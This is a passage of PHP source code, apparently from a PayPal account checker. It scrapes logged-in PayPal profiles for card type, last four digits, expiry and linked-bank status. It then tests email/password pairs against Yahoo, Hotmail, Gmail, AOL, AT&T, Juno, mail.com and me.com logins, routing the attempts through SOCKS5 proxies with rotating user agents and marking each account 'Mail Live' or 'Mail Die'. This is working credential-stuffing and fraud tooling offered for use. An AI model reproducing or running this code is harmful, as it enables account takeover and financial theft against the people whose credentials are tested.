  707.         $temp = $this->getStr1($temp[1],'<td>','</td>');
  708.         $_4digit = $temp[0];
  709.         $temp = $this->getStr1($temp[1],'<td>','</td>');
  710.         $_exp = $temp[0];
  711.         //$infocard = "$_type $_4digit $_exp | ";
  712.         $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
  713.     }
  714.  
  715.  
  716.     $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  717.     $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  718.     $info = $this->getStr($response,'<span class="emphasis">','</span>');
  719.     $info = str_replace("<br>"," | ",$info);
  720.    
  721.    
  722.     /*$info = $this->infocard($response);
  723.     $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  724.     $response1 = $this->curl_get($site1, false, $sock, "http://www.paypal.com");
  725.     $info1=$this->infopp($response1);
  726.     $info .= $info1;
  727.    
  728.     $info = $infocard.$info;
  729.    
  730.     //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
  731.     //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
  732.     //$mail = $this->getStr($s,'emailList-','"');
  733.    
  734.     /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
  735.     $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
  736.     $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');  
  737.    
  738.     $info = $info.$phone.' | '.$mail;*/
  739.     //return $info;
  740. //}*/
  741.  
  742.     function infobank($info)
  743.     {
  744.         if($info)
  745.         {
  746.             preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
  747.             if(($this->inStr($pageName[1][0], "Enter Bank Details")) || ($this->inStr($pageName[1][0], "AddBankManualDisabled"))) return "<font color='red'>Not Bank</font>";
  748.             elseif($this->inStr($pageName[1][0], "Profile")) return "<font color='yellow'>Have Bank</font>";
  749.         }
  750.         else
  751.         return "<font color='red'> CHECK BANK ERROR </font>";
  752.     }
  753. function GETBANK($sock,$cookiejar) {
  754.     $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
  755.     $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  756.     /*$checkbank = preg_match("/Add a bank account/i", $response);
  757.     $checkbank1 = preg_match("/Link your bank account/i",$response);
  758.     if(($checkbank)||($checkbank1))
  759.     {
  760.         return "<font color=red>NOT BANK</font>";
  761.     }
  762.     else
  763.     {
  764.  
  765.         //$_bank = $temp[0];
  766.         //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
  767.         //$_status = $temp[0];
  768.         $infobank= "<font color=green>HAVE BANK</font>";
  769.         return $infobank;
  770.     }*/
  771.     $infobank= $this->infobank($response);
  772.     return $infobank;
  773. }
  774.  
  775.  
  776.  
  777.  
  778.  
  779.  
  780.  
  781.  
  782.  
  783.  
  784.  
  785.  
  786.  
  787.  
  788. ############
  789. /*function GETBANK($sock) {
  790.     $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
  791.     $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  792.     $checkbank = preg_match("/Add a bank account/i", $response);
  793.     $checkbank1 = preg_match("/Link your bank account/i",$response);
  794.     if(($checkbank)||($checkbank1))
  795.     {
  796.         return "<font color=red>NOT BANK</font>";
  797.     }
  798.     else
  799.     {
  800.  
  801.         //$_bank = $temp[0];
  802.         //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
  803.         //$_status = $temp[0];
  804.         $infobank= "<font color=green>HAVE BANK</font>";
  805.         return $infobank;
  806.     }
  807. }*/
  808.  
  809. function getStr1($string,$start,$end){
  810.     $str = explode($start,$string,2);
  811.     $str = explode($end,$str[1],2);
  812.     return $str;
  813. }
  814.  
  815.  
  816. function getStr($string,$start,$end){
  817.     $str = explode($start,$string);
  818.     $str = explode($end,$str[1]);
  819.     return $str[0];
  820. }
  821.  
  822.  
  823. function getHiddenFormInputs($html) {
  824.     if(!preg_match('|<form[^>]+login_form[^>]+>.*</form>|Usi', $html, $form)) {
  825.         return '';
  826.     }
  827.     if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)) {
  828.         return '';
  829.     }
  830.     $hiddenInputs = array();
  831.     foreach($inputs[0] as $input){
  832.         if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)) {
  833.             $hiddenInputs[$name[1]] = '';
  834.             if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)) {
  835.                 $hiddenInputs[$name[1]] = $value[1];
  836.             }
  837.         }
  838.     }
  839.     return $hiddenInputs;
  840. }
  841.  
  842. function serializePostFields($postFields) {
  843.     foreach($postFields as $key => $value) {
  844.         $value = urlencode($value);
  845.         $postFields[$key] = "$key=$value";
  846.     }
  847.     $postFields = implode($postFields, '&');
  848.     return $postFields;
  849. }
  850.  
  851. function rmdirr($dirname){
  852.     if (!file_exists($dirname)){
  853.             echo "Not found folder";
  854.             return false;
  855.     }
  856.     if (is_file($dirname)) {
  857.         return unlink($dirname);
  858.     }
  859.     $dir = dir($dirname);
  860.     while (false !== $entry = $dir->read()) {
  861.         if ($entry == '.' || $entry == '..') {
  862.             continue;
  863.         }
  864.         rmdirr("$dirname/$entry");
  865.     }
  866.     $dir->close();
  867.     return rmdir($dirname);
  868. }
  869.  
  870. function yahoo($mail,$pass, $_sock){
  871.     $random_text = array("fr",
  872.                     "co.uk",
  873.                     "vn",
  874.                     "ag",                    "br",
  875.                     "ag",                    "ca",
  876.                     "al",
  877.                     "co",
  878.                     "cl",
  879.                     "mx",
  880.                     "pe",
  881.                     "ve",
  882.                     "qc",
  883.                     "dk",
  884.                     "de",
  885.                     "ie",
  886.                     "it",
  887.                     "ar",);
  888.     srand(time());
  889.     $sizeof = count($random_text);
  890.     $random = (rand()%$sizeof);
  891.     $url="http://login.yahoo.com/config/login?.intl=".$random_text[$random]."&.src=ym&login=".$mail."&passwd=".$pass;
  892.     $curl=curl_init();
  893.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  894.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  895.     curl_setopt($curl, CURLOPT_HEADER, true);
  896.     curl_setopt($curl, CURLOPT_URL, $url);
  897.         if($_sock){
  898.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  899.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  900.     }
  901.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  902.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  903.     $xxx=curl_exec($curl);
  904.     curl_close($curl);
  905.     if(stristr($xxx,"yahoo.com")){
  906.         return 0;
  907.     }else{
  908.         return 1;
  909.     }
  910. }
  911.  
  912. function netzero($mail,$pass, $_sock){
  913.     $url = "https://my.netzero.net/start/login.do";
  914.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  915.     $postvars =
  916.     "operation=login&gotoURL=http%3A%2F%2Fmy.netzero.net%2Fstart%2Fwebmail.do%3Fcf%3Dwww&memberId=".$mail."&netzero.net=netzero.com&password=".$pass."&x=56&y=10";
  917.     $cookie = "cookies/netzero";
  918.     @unlink($cookie);
  919.     $curl = curl_init($url);
  920.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  921.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  922.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  923.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  924.     curl_setopt($curl, CURLOPT_HEADER, 1);
  925.     curl_setopt($curl, CURLOPT_POST, 1);
  926.     if($_sock){
  927.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  928.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  929.     }
  930.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  931.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  932.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  933.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  934.     $content = curl_exec ($curl);
  935.     curl_close ($curl);
  936.     unset($curl);
  937.     if(stristr($content,"The Member ID or Password you have entered is incorrect")){
  938.         return 0;
  939.     }
  940.     else{
  941.         return 1;
  942.     }
  943. }
  944.  
  945. function hotmail($username, $password){
  946.     $cookie = 'mail'.rand(1000000,9999999).'123.txt';
  947.     @fclose(fopen($cookie,'w'));
  948.    
  949.     $url = "http://www.hotmail.com";
  950.     $s = $this->_curl($url,"",$cookie);
  951.     $link = $this->getStr($s,'var g_QS="','"');
  952.     $link = "https://login.live.com/ppsecure/post.srf?".$link;
  953.    
  954.     $PPFTid = $this->getStr($s,'PPFT" id="','"');
  955.     $PPFTvalue = $this->getStr($s,$PPFTid.'" value="','"');
  956.     $post = "login=".$username."&passwd=".$password."&type=11&LoginOptions=2&MEST=&PPSX=Passp&PPFT=".$PPFTvalue."&idsbho=1&PwdPad=&sso=&i1=1&i2=2&i3=6382&i4=";
  957.    
  958.     $s = $this->_curl($link,$post,$cookie);
  959.     unlink($cookie);
  960.     if(stristr($s,'window.location.replace("http://mail.live.com/default')){
  961.         return TRUE;
  962.     }
  963.     else{
  964.         return FALSE;
  965.     }
  966. }
  967.  
  968. function gmail($mail,$pass, $_sock){
  969.     $api = new analytics_api();
  970.     if($api->login($mail, $pass, $_sock)) {
  971.         return 1;
  972.     }else{
  973.         return 0;
  974.     }
  975. }
  976.  
  977. function att($mail,$pass, $_sock){
  978.     $url = "https://webauth.att.net/auth/webmail/login";
  979.     $xax=explode("@",$mail);
  980.     $domain1=trim($xax[0]);
  981.     $domain2=trim($xax[1]);
  982.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  983.     $postvars =
  984.     "passurl=http%3A%2F%2Fwebmail.att.net%2Fwmc%2Fen-US%2Fv%2Fwmgoto%2F4B308384000C20E4000040702223064702&locale=en-US&user=".$mail."&user1=".$domain1."&domain=".$domain2."&passwd=".$pass."&login.x=19&login.y=9&login=Login";
  985.     $cookie = "cookies/att";
  986.     @unlink($cookie);
  987.     $curl = curl_init($url);
  988.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  989.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  990.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  991.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  992.     curl_setopt($curl, CURLOPT_HEADER, 1);
  993.     curl_setopt($curl, CURLOPT_POST, 1);
  994.     if($_sock){
  995.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  996.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  997.     }
  998.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  999.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1000.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1001.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1002.     $content = curl_exec ($curl);
  1003.     curl_close ($curl);
  1004.     unset($curl);
  1005.     if(stristr($content,"Please check and re-enter your e-mail username, domain, and password")){
  1006.         return 0;
  1007.     }else{
  1008.         return 1;
  1009.     }
  1010. }
  1011.  
  1012. function aol($mail,$pass, $_sock){
  1013.     $url = "https://my.screenname.aol.com/_cqr/login/login.psp";
  1014.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1015.     $postvars =
  1016.     "screenname=".$mail."&password=".$pass."&submitSwitch=1&siteId=aolcomprod&mcState=initialized&authLev=1";
  1017.     $cookie = "cookies/aol";
  1018.     @unlink($cookie);
  1019.     $curl = curl_init($url);
  1020.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1021.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1022.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1023.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1024.     curl_setopt($curl, CURLOPT_HEADER, 1);
  1025.     curl_setopt($curl, CURLOPT_POST, 1);
  1026.     if($_sock){
  1027.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1028.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1029.     }
  1030.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1031.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1032.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1033.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1034.     $content = curl_exec ($curl);
  1035.     curl_close ($curl);
  1036.     unset($curl);
  1037.     if(stristr($content,"Incorrect Username or Password.")){
  1038.         return 0;
  1039.     }else{
  1040.         return 1;
  1041.     }
  1042. }
  1043.  
  1044. function juno($mail,$pass, $_sock){
  1045.     $url = "https://webmail.juno.com/cgi-bin/login.cgi?rememberMe=0";
  1046.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1047.     $postvars =
  1048.     "LOGIN=".$mail."&PASSWORD=".$pass."&ajaxSupported=2%2F61220&domain=juno.com";
  1049.     $cookie = "cookies/juno";
  1050.     @unlink($cookie);
  1051.     $curl = curl_init($url);
  1052.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1053.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1054.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1055.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1056.     curl_setopt($curl, CURLOPT_HEADER, 1);
  1057.     curl_setopt($curl, CURLOPT_POST, 1);
  1058.     if($_sock){
  1059.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1060.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1061.     }
  1062.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1063.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1064.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1065.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1066.     $content = curl_exec ($curl);
  1067.     curl_close ($curl);
  1068.     unset($curl);
  1069.     if(stristr($content,"match our files. Please re-enter your Juno username and password")){
  1070.         return 0;
  1071.     }else{
  1072.         return 1;
  1073.     }
  1074. }
  1075.  
  1076. function mmail($mail,$pass, $_sock){
  1077.     $url = "https://www.mail.com/auth/login.aspx";
  1078.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1079.     $postvars ="login=".$mail."&password=".$pass;
  1080.     $cookie = "cookies/mmail";
  1081.     @unlink($cookie);
  1082.     $curl = curl_init($url);
  1083.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1084.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1085.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1086.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1087.     curl_setopt($curl, CURLOPT_HEADER, 1);
  1088.     curl_setopt($curl, CURLOPT_POST, 1);
  1089.     if($_sock){
  1090.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1091.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1092.     }
  1093.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1094.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1095.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1096.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1097.     $content = curl_exec ($curl);
  1098.     curl_close ($curl);
  1099.     unset($curl);
  1100.     if(stristr($content,"Invalid username")){
  1101.         return 0;
  1102.     }else{
  1103.         return 1;
  1104.     }
  1105. }
  1106.  
  1107. function mac($mail,$pass, $_sock){
  1108.     $url = "https://auth.me.com/authenticate";
  1109.     $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1110.     $postvars =
  1111.     "returnURL=aHR0cDovL3d3dy5tZS5jb20vbWFpbC8%3D&service=mail&ssoNamespace=primary-me&anchor=account&cancelURL=http%3A%2F%2Fwww.me.com%2Fmail&formID=loginForm&username=".$mail."&password=".$pass;
  1112.     $cookie = "cookies/mac";
  1113.     @unlink($cookie);
  1114.     $curl = curl_init($url);
  1115.     curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1116.     curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1117.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1118.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1119.     curl_setopt($curl, CURLOPT_HEADER, 1);
  1120.     curl_setopt($curl, CURLOPT_POST, 1);
  1121.     if($_sock){
  1122.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1123.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1124.     }
  1125.     curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1126.     curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1127.     // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1128.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1129.     $content = curl_exec ($curl);
  1130.     curl_close ($curl);
  1131.     unset($curl);
  1132.     if(stristr($content,"Incorrect member name or password.")){
  1133.         return 0;
  1134.     }else{
  1135.         return 1;
  1136.     }
  1137. }
  1138.  
  1139. function getmail($xSplit,$xMail,$xPass, $_sock){
  1140.     $R_split=$xSplit;
  1141.     $mail_text=$xMail;
  1142.     $pass_text=$xPass;
  1143.     $pieces['xMail'] = $mail_text;
  1144.     $pieces['xPass'] = $pass_text;
  1145.     if(stristr($pieces['xMail'],"yahoo.")||stristr($pieces['xMail'],"ymail.")||stristr($pieces['xMail'],"rocketmail.")){
  1146.         $servername = "Yahoo";
  1147.         $k = $this->yahoo($pieces['xMail'],$pieces['xPass'], $_sock);
  1148.         if ($k==0){
  1149.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1150.         }else{
  1151.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1152.         }
  1153.     }
  1154.     elseif(stristr($pieces['xMail'],"hotmail.")||stristr($pieces['xMail'],"live.")){
  1155.         $servername = "Hotmail";
  1156.         if ($this->hotmail($pieces['xMail'],$pieces['xPass'], $_sock)){
  1157.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1158.         }
  1159.         else{
  1160.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1161.         }
  1162.     }elseif(stristr($pieces['xMail'],"gmail.")||stristr($pieces['xMail'],"googlemail.")){
  1163.         $servername = "Gmail";
  1164.         $k = $this->gmail($pieces['xMail'],$pieces['xPass'], $_sock);
  1165.         if ($k==0){
  1166.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1167.         }
  1168.         else{
  1169.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1170.         }
  1171.     }elseif(stristr($pieces['xMail'],"aol.")||stristr($pieces['xMail'],"netscape.")){
  1172.         $servername = "AOL";
  1173.         $aolname = str_replace("@aol.com","",$pieces['xMail'], $_sock);
  1174.         $kaol = $this->aol($aolname,$pieces['xPass'], $_sock);
  1175.         if ($kaol==0){
  1176.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1177.         }
  1178.         else{
  1179.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1180.         }
  1181.     }elseif(stristr($pieces['xMail'],"juno")){
  1182.         $servername = "Juno";
  1183.         $kjuno = $this->juno($pieces['xMail'],$pieces['xPass'], $_sock);
  1184.         if ($kjuno==0){
  1185.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1186.         }
  1187.         else{
  1188.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1189.         }
  1190.     }elseif(stristr($pieces['xMail'],"mac.")||stristr($pieces['xMail'],"me.")){
  1191.         $servername = "Me-Mac";
  1192.         $kmac = $this->mac($pieces['xMail'],$pieces['xPass'], $_sock);
  1193.         if ($kmac==0){
  1194.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1195.         }
  1196.         else{
  1197.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1198.         }
  1199.     }elseif(stristr($pieces['xMail'],"netzero.")){
  1200.         $servername = "Netzero";
  1201.         $knet = $this->netzero($pieces['xMail'],$pieces['xPass'], $_sock);
  1202.         if ($knet==0){
  1203.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1204.         }
  1205.         else{
  1206.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1207.         }
  1208.     }elseif(stristr($pieces['xMail'],"ameritech.")||stristr($pieces['xMail'],"att.")||stristr($pieces['xMail'],"bellsouth.")||stristr($pieces['xMail'],"flash.")||stristr($pieces['xMail'],"nvbell.")||stristr($pieces['xMail'],"pacbell.")||stristr($pieces['xMail'],"prodigy.")||stristr($pieces['xMail'],"sbcglobal.")||stristr($pieces['xMail'],"snet.")||stristr($pieces['xMail'],"swbell.")||stristr($pieces['xMail'],"wans.")){
  1209.         $servername = "Att";
  1210.         $katt = $this->att($pieces['xMail'],$pieces['xPass'], $_sock);
  1211.         if ($katt==0){
  1212.             $status="<font color=red>Mail Die</font> - ".$servername."";
  1213.         }
  1214.         else{
  1215.             $status="<font color=green>Mail Live</font> - ".$servername."";
  1216.         }
  1217.     }
  1218.     else{
  1219.         $status="<font color=grey>Unknow</font>";
  1220.     }
  1221.     return $status;
  1222. }
  1223.  
  1224.    
  1225.    
  1226.     function get_agent($z){
  1227.         switch ($z){
  1228.             case 0: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; break;
  1229.             case 1: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1"; break;
  1230.             case 2: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";   break;
  1231.             case 3: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";   break;
  1232.             case 4: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)";   break;
  1233.             case 5: $agent= "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";  break;
  1234.             case 6: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8";  break;
  1235.             case 7: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3"; break;
  1236.             case 8: $agent= "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)";   break;
  1237.             case 9: $agent= "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)";  break;
  1238.             case 10:    $agent= "Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)";    break;
  1239.             case 11:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";  break;
  1240.             case 12:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)";  break;
  1241.             case 13:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)";    break;
  1242.             case 14:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)";    break;
  1243.             case 15:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)";    break;
  1244.             case 16:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";   break;
  1245.             case 17:    $agent= "Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8)";    break;
  1246.             case 18:    $agent= "Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958)";    break;
  1247.             case 19:    $agent= "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0)";  break;
  1248.             case 20:    $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)";   break;
  1249.             case 21:    $agent= "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable"; break;
  1250.             case 22:    $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)"; break;
  1251.             case 23:    $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre"; break;
  1252.             case 24:    $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA";  break;
  1253.             case 25:    $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6";  break;
  1254.             case 26:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1";  break;
  1255.             case 27:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)"; break;
  1256.             case 28:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20";   break;
  1257.             case 29:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1";   break;
  1258.             case 30:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+";    break;
  1259.             case 31:    $agent= "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5";    break;
  1260.             case 32:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3";    break;
  1261.             case 33:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";  break;
  1262.             case 34:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";  break;
  1263.             case 35:    $agent= "Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)";  break;
  1264.             case 36:    $agent= "Mozilla/4.75 [fr] (WinNT; U)"; break;
  1265.             case 37:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]";   break;
  1266.             case 38:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]"; break;
  1267.             case 39:    $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8";    break;
  1268.             case 40:    $agent= "Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0"; break;
  1269.             case 41:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)";  break;
  1270.             case 42:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1"; break;
  1271.             case 43:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 ";   break;
  1272.             case 44:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 ";    break;
  1273.         }
  1274.         return $agent;
  1275.     }
  1276.  
